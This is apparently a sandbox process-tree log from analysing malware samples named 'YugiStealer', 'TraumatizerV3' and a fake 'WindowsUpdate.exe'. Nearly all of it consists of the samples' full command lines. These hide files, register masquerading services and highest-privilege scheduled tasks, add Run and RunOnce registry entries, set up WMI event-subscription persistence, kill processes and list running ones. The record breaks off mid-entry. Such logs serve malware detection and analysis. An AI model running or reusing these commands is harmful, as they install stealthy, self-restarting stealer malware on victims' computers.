C:\Windows\System32\0409\WindowsUpdate.exe
C:\Windows\System32\0409\WINDOW~1.EXE
1⤵
PID:6768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
  2⤵
  PID:7560

C:\Windows\System32\0409\WindowsUpdate.exe
"C:\Windows\System32\0409\WindowsUpdate.exe"
1⤵
PID:7460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
  2⤵
  PID:7004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[System.IO.File]::SetAttributes(\"C:\Windows\System32\0409\WindowsUpdate.exe\", [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System -bor [System.IO.FileAttributes]::ReadOnly)"
  2⤵
  PID:8792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[System.IO.File]::SetAttributes(\"C:\Windows\System32\0409\WindowsUpdate.exe\", [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System -bor [System.IO.FileAttributes]::ReadOnly)"
  2⤵
  PID:7612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { $WshShell = New-Object -ComObject WScript.Shell $Shortcut = $WshShell.CreateShortcut('C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk') $Shortcut.TargetPath = 'C:\Windows\System32\0409\WindowsUpdate.exe' $Shortcut.WindowStyle = 7 $Shortcut.Description = 'Windows Update Service' $Shortcut.IconLocation = 'shell32.dll,1' $Shortcut.Save() $shortcutFile = Get-Item 'C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk' -ErrorAction SilentlyContinue if ($shortcutFile) { [System.IO.File]::SetAttributes($shortcutFile.FullName, [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) } } catch {}"
  2⤵
  PID:8696
- C:\Windows\system32\schtasks.exe
  schtasks /delete /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask /f
  2⤵
  PID:7816
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask /xml C:\Windows\SystemTemp\windows_update_task.xml /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:9000
- C:\Windows\system32\schtasks.exe
  schtasks /run /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask
  2⤵
  PID:8220
- C:\Windows\system32\sc.exe
  sc delete WindowsUpdateService
  2⤵
  - Launches sc.exe
  PID:3928
- C:\Windows\system32\cmd.exe
  cmd /C "sc create \"WindowsUpdateService\" binPath= \"C:\Windows\System32\0409\WindowsUpdate.exe\" start= auto DisplayName= \"Windows Update Service\""
  2⤵
  PID:8280
- - C:\Windows\System32\sc.exe
    sc create \"WindowsUpdateService\" binPath= \"C:\Windows\System32\0409\WindowsUpdate.exe\" start= auto DisplayName= \"Windows Update Service\"
    3⤵
    - Launches sc.exe
    PID:8652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
  2⤵
  PID:7784
- C:\Windows\system32\cmd.exe
  cmd /C "sc description \"WindowsUpdateService\" \"Provides Windows Update functionality and security patches\""
  2⤵
  PID:7472
- - C:\Windows\System32\sc.exe
    sc description \"WindowsUpdateService\" \"Provides Windows Update functionality and security patches\"
    3⤵
    - Launches sc.exe
    PID:5416
- C:\Windows\system32\cmd.exe
  cmd /C "sc failure \"WindowsUpdateService\" reset= 86400 actions= restart/5000/restart/5000/restart/5000"
  2⤵
  PID:10156
- - C:\Windows\System32\sc.exe
    sc failure \"WindowsUpdateService\" reset= 86400 actions= restart/5000/restart/5000/restart/5000
    3⤵
    - Launches sc.exe
    PID:10872
- C:\Windows\system32\cmd.exe
  cmd /C "sc config \"WindowsUpdateService\" obj= LocalSystem"
  2⤵
  PID:3208
- - C:\Windows\System32\sc.exe
    sc config \"WindowsUpdateService\" obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:9036
- C:\Windows\system32\taskkill.exe
  taskkill /PID 8200 /F
  2⤵
  - Kills process with taskkill
  PID:9956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 8200 -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:10572
- C:\Windows\system32\cmd.exe
  cmd /C "sc config \"WindowsUpdateService\" type= own"
  2⤵
  PID:7384
- - C:\Windows\System32\sc.exe
    sc config \"WindowsUpdateService\" type= own
    3⤵
    - Launches sc.exe
    PID:8900
- C:\Windows\system32\sc.exe
  sc start WindowsUpdateService
  2⤵
  - Launches sc.exe
  PID:10680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ Name = 'BotRestartFilter' EventNameSpace = 'root\cimv2' Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'WindowsUpdate.exe'\" QueryLanguage = 'WQL' } $Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ Name = 'BotRestartConsumer' CommandLineTemplate = 'C:\Windows\System32\0409\WindowsUpdate.exe' RunInteractively = $false } $null = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $Filter Consumer = $Consumer }"
  2⤵
  PID:10168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
  2⤵
  PID:10604
- C:\Windows\system32\taskkill.exe
  taskkill /PID 8140 /F
  2⤵
  - Kills process with taskkill
  PID:5768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 8140 -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
  2⤵
  PID:12184

C:\Windows\Temp\services.exe
C:\Windows\Temp\services.exe
1⤵
PID:9196
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7840
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:8860
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8380
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8968
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7976
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6972
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8236
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:6688
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7636
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:8048
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\services.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:8648
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\services.exe\" /sc onstart /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8412
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:3192
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:1492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\services.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\services.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7788
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\services.exe\" start= auto"
  2⤵
  PID:10176
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\services.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:8672
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f"
  2⤵
  PID:9184
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f
    3⤵
    - Modifies registry key
    PID:10848
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f"
  2⤵
  PID:11552
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f
    3⤵
    - Modifies registry key
    PID:12108
- C:\Windows\Temp\W3RCv5fD\TraumatizerV3.exe
  "C:\Windows\Temp\W3RCv5fD\TraumatizerV3.exe"
  2⤵
  PID:9536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:4328
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Windows\Temp\W3RCv5fD\FartnutsTrauma.vbs
  2⤵
  PID:11404
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:11692
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\W3RCv5fD\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:12708
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:12612
- C:\Users\Admin\Downloads\TraumatizerV3.exe
  "C:\Users\Admin\Downloads\TraumatizerV3.exe"
  2⤵
  PID:6112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:5336
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:11536
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:6800
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:12992
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:11060
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:10352
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:12696

C:\Users\Public\Documents\winlogon.exe
C:\Users\Public\Documents\winlogon.exe
1⤵
PID:724
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7336
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:9056
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7584
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7900
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:9076
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7860
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8472
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:8724
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8564
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7984
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:6324
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onstart /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1028
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8268
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:6972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\winlogon.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\winlogon.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8632
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\winlogon.exe\" start= auto"
  2⤵
  PID:7816
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\winlogon.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:8300
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f"
  2⤵
  PID:7944
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f
    3⤵
    - Modifies registry key
    PID:7540
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f"
  2⤵
  PID:11560
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f
    3⤵
    - Modifies registry key
    PID:12184
- C:\Windows\Temp\lw5X0QPW\TraumatizerV3.exe
  "C:\Windows\Temp\lw5X0QPW\TraumatizerV3.exe"
  2⤵
  PID:7744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:5692
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Windows\Temp\lw5X0QPW\FartnutsTrauma.vbs
  2⤵
  PID:8788
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:8264
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\lw5X0QPW\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:12652
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:12640
- C:\Users\Admin\Downloads\TraumatizerV3.exe
  "C:\Users\Admin\Downloads\TraumatizerV3.exe"
  2⤵
  PID:12216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:7496
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:12000
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:12336
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:12920
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6192
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:11620
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:12552

C:\Users\Public\Documents\lsass.exe
C:\Users\Public\Documents\lsass.exe
1⤵
PID:7508
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8328
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:8628
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:4924
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8664
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8912
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8540
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:3864
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:5104
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8612
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:8296
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:3784
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onstart /f /rl highest
    3⤵
    PID:3928
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8420
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:8840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\lsass.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\lsass.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7736
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\lsass.exe\" start= auto"
  2⤵
  PID:1728
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\lsass.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:8960
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f"
  2⤵
  PID:11456
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f
    3⤵
    - Modifies registry key
    PID:11924
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f"
  2⤵
  PID:6900
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f
    3⤵
    - Modifies registry key
    PID:8152

C:\Users\Public\Documents\services.exe
C:\Users\Public\Documents\services.exe
1⤵
PID:8892
- C:\Windows\system32\cmd.exe
